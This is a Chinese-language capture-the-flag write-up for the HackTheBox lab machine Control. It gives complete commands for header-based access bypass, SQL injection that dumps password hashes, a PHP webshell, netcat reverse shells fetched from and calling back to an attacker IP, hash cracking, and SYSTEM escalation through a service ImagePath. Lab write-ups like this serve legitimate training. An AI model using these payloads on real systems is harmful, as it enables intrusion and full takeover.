Control是一个困难的靶机,知识点涉及访问限制绕过、SQL注入、哈希破解、凭证创建、服务枚举等感兴
趣的同学可以在HackTheBox中进行学习。
通关思维导图
0x01 侦查
端口探测
首先使用 nmap 进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.167 -oA nmap_Control
扫描结果显示目标开放了80、135、3306等端口
80端口
访问站点,这是一家做 WiFi 技术公司的官网
源代码中发现一段注释,包含了一个IP:192.168.4.28
点击Admin跳转至/admin.php下,返回错误
点击About跳转至/about.php下,其中还是关于他们公司的有关介绍
0x02 上线[iusr]
代理绕过
在访问admin.php时页面提示Header Missing,是否就意味着 HTTP 请求包中的头部信息呢?
因此我们找到了一个 HTTP 头部列表:headers.txt
请求头参考:https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
使用 wfuzz 对请求头部进行模糊测试,如果无权访问 Chars 对应为89,可直接在 wfuzz 中过滤
wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167" --hh 89
无果后猜测可能是代理IP设置错误,将其替换成192.168.4.28再次进行模糊测试
wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 192.168.4.28" --hh 89
当请求头部为X-Forwarded-For时返回7933,说明可能已经绕过了代理。使用浏览器代理插件modheader
定制请求头部,访问 admin.php 可成功进入控制台面板
SQL注入
在后台中创建一个名为mac的产品并搜索产品mac
开启 BurpSuite 修改的请求参数mac为mac',发现其中可能存在SQL注入漏洞
首先判断字段数,mac' oder by 6显示正常,mac' oder by 7#报错,说明字段数为6
查询数据库基础信息,包括数据库版本、用户名以及当前数据库名
mac' union select version(),user(),database(),4,5,6#
列出全部数据库,分别为information_schema、mysql、warehouse
mac' union select schema_name,2,3,4,5,6 from information_schema.schemata#
查询当前库所有数据表名,分别为product、product_category、product_pack
mac' union select table_name,2,3,4,5,6 from information_schema.tables wh
ere table_schema='warehouse'#
继续深挖表中数据未发现有用信息,开始查询数据库用户信息
mac' union select host,user,password,4,5,6 from mysql.user#
经过整理后用户名以及对应的哈希值如下
localhost root *0A4A5CAD344718DC418035A1F4D292BA603134D8
fidelity root *0A4A5CAD344718DC418035A1F4D292BA603134D8
127.0.0.1 root *0A4A5CAD344718DC418035A1F4D292BA603134D8
::1 root *0A4A5CAD344718DC418035A1F4D292BA603134D8
localhost manager *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
localhost hector *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
查看个用户的权限,值得注意的是当前用户貌似只有file权限,而hector以及root则拥有许多特权
mac' union select grantee,privilege_type,is_grantable,4,5,6 from info
rmation_schema.user_privileges#
文件写入
由于当前用户具有file权限,也就是文件操作权限,可以尝试写入webshell路径则为默认
的 IIS 路径C:\inetpub\wwwroot\
mac' union select '<?php system($_GET[\'cmd\']);?>',2,3,4,5,6 into out
file 'c:/inetpub/wwwroot/mac.php'#
出现数据库报错,但是访问mac.php执行 whoami 命令成功,说明 webshell 已部署完成
在本地开启 http 服务用于传输nc64.exe
python3 -m http.server 80
通过 webshell 执行命令下载至\windows\temp\目录下
curl '10.10.10.167/mac.php?cmd=powershell+wget+http://10.10.14.13/nc64.e
xe+-outfile+\windows\temp\nc.exe'
本地监听443端口
nc -nvlp 443
执行 nc 获取反弹shell
curl '10.10.10.167/mac.php?cmd=\windows\temp\nc.exe+-e+cmd+10.10.14.13+443'
成功拿到反弹shell
0x03 权限提升[hector]
信息收集
进入C:\Users目录查看用户名,在其中再次发现用户Hector
dir c:\Users
查看该用户权限,该用户处于远程管理员组当中
net user hector
查看本地端口发现5859端口开放,这也就意味着我们可以通过WinRM进行登录
netstat -ano
哈希破解
在 mysql 数据中我们获得许多用户密码,经过整理后如下
root:0A4A5CAD344718DC418035A1F4D292BA603134D8
manager:CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
hector:0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
尝试使用 hashcat 进行破解
hashcat -m 300 hashes --user /usr/share/wordlists/rockyou.txt --force
成功破解密码为l33th4x0rhector
凭证创建
使用 powershell 制作用户 hector 的身份凭证
powershell
ps > $env:ComputerName
ps > $user = "CONTROL\hector"
ps > $pass = "l33th4x0rhector"
ps > $secstr = New-Object -TypeName System.Security.SecureString
ps > $pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
ps > $cred = new-object -typename System.Management.Automation.
PSCredential -argumentlist $user, $secstr
ps > Invoke-Command -Computer localhost -Credential $cred -ScriptBlock { whoami }
可以看到运行权限为 hector 身份
反弹shell
通过本地的 nc 完成反弹shell
ps > Invoke-Command -ScriptBlock {\windows\temp\nc.exe -e cmd
10.10.14.13 5555 } -computer localhost
在本地监听5555端口
rlwrap nc -nvlp 5555
但是当前访问\windows\temp中的 nc 被拒绝
将 nc 传输至\winndows\system32\spool\drivers\color\目录下并执行命令
ps > wget 10.10.14.13/nc64.exe -outfile \windows\system32\spool\drivers\color\nc64.exe
ps > Invoke-Command -credential $cred -ScriptBlock {\windows\system32\spool\drive
rs\color\nc64.exe -e cmd 10.10.14.13 5555 } -computer localhost
成功获取用户权限,在当前用户桌面上寻找flag
dir C:\Users\hector\Desktop
type C:\Users\hector\Desktop\user.txt
成功拿到第一个flag
0x04 权限提升[system]
信息收集
使用 powershell 检查系统当中的历史文件
ps > (Get-PSReadlineOption).HistorySavePath
查看 powershell 历史文件后发现两个命令:第一个命令为列出注册表CurrentControlSet下的子键;
第二个命令为获取CurrentControlSet的注册表项
type C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerSh
ell\PSReadLine\ConsoleHost_history.txt
尝试执行第二个命令未发现可用信息
ps > get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
枚举服务
但是访问其中的 Services 子键则发现当前用户对 Services 具有完全控制权限,那么这也就意味着我们可以更
改系统当中服务的注册表值。服务通常存在一个图像路径,它会指定驱动程序的图像文件的完全限定路径因此
只需要通过更改服务的图像路径来生成恶意进程。
ps > get-acl HKLM:\SYSTEM\CurrentControlSet\Services | format-list
但是如果更改服务路径就得重启服务,同时还需要确定重启哪个服务我们将服务列
表输出存储至$services当中
ps > $services = gci HKLM:\SYSTEM\CurrentControlSet\Services
ps > $services
结果列表中显示了很多服务,而当前用户作为非管理员用户无法随心所欲地重启服务因此在这么多服务当中找到可
重启的服务显得有些困难。查看服务的 SDDL 权限可确认当前用户可重启的服务列表。
SDDL即安全描述符字符串,该字符串将分为四个部分,O 代表所有者,G 代表组,D 代表自由访问控制列表 (DACL)
S 代表系统访问控制列表 (SACL),通常采用如下格式:
O:owner_sidG:group_sidD:dacl_flags(string_ace1)(string_ace2)…(string_acen)S:sacl_flag
s(string_ace1)(string_ace2)…(string_acen)
下表包含对其中 DACL 权限的划分
经过测试后我们发现服务 wuauserv 满足条件
sc sdshow wuauserv
管理员上线
通过reg add修改对应服务当中的图片路径为执行命令
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv" /t RE
G_EXPAND_SZ /v ImagePath /d "\windows\system32\spool\drivers\color\nc64.exe -e
cmd 10.10.14.13 4444" /f
在本地监听4444端口
rlwrap nc -nvlp 4444
通过 sc 重启服务,加载 payload
sc.exe \\fidelity start wuauserv
由于当前shell并不稳定,因此需要执行命令获取相对稳定的shell,与此同时在本地监听6666端口
\windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.13 6666
执行后拿到稳定的shell且权限为 system
在管理员桌面上寻找第二个flag
dir c:\Users\administrator\Desktop
type c:\Users\administrator\Desktop\root.txt
成功拿到第二个flag
总结:
查看站点源代码发现注释中存在内网IP,在http请求头部中添加X-Forward-For为该IP即可绕过限制进入后台。经过测试我们
发现后台存在SQL注入,当前数据库可获取数据库用户的哈希值以及拥有文件写入权限,写入小马至站点目录当中,执行反弹
shell拿到用户权限。靶机当中包含用户hector,该用户也同样出现在数据库中,由此猜测它们的密码可能相同,使用hashcat
破解后拿到明文密码,通过powershell制作用户凭证,以hector用户执行反弹shell命令,成功完成权限提升。在hector用户
下存在历史命令文件,其中包含两个针对注册表CurrentControlSet的操作,查询其下的Services子键可发现hector用户对服
务拥有完全控制权限,而服务中通常存在一个图像路径,将其修改为反弹shell命令,重启服务后能够以系统权限运行命令由
于当前权限不是系统管理员,我们需要寻找拥有重启权限的服务,wuauserv服务是个不错的选择,修改其图片路径并重启服
务成功拿到系统权限。 |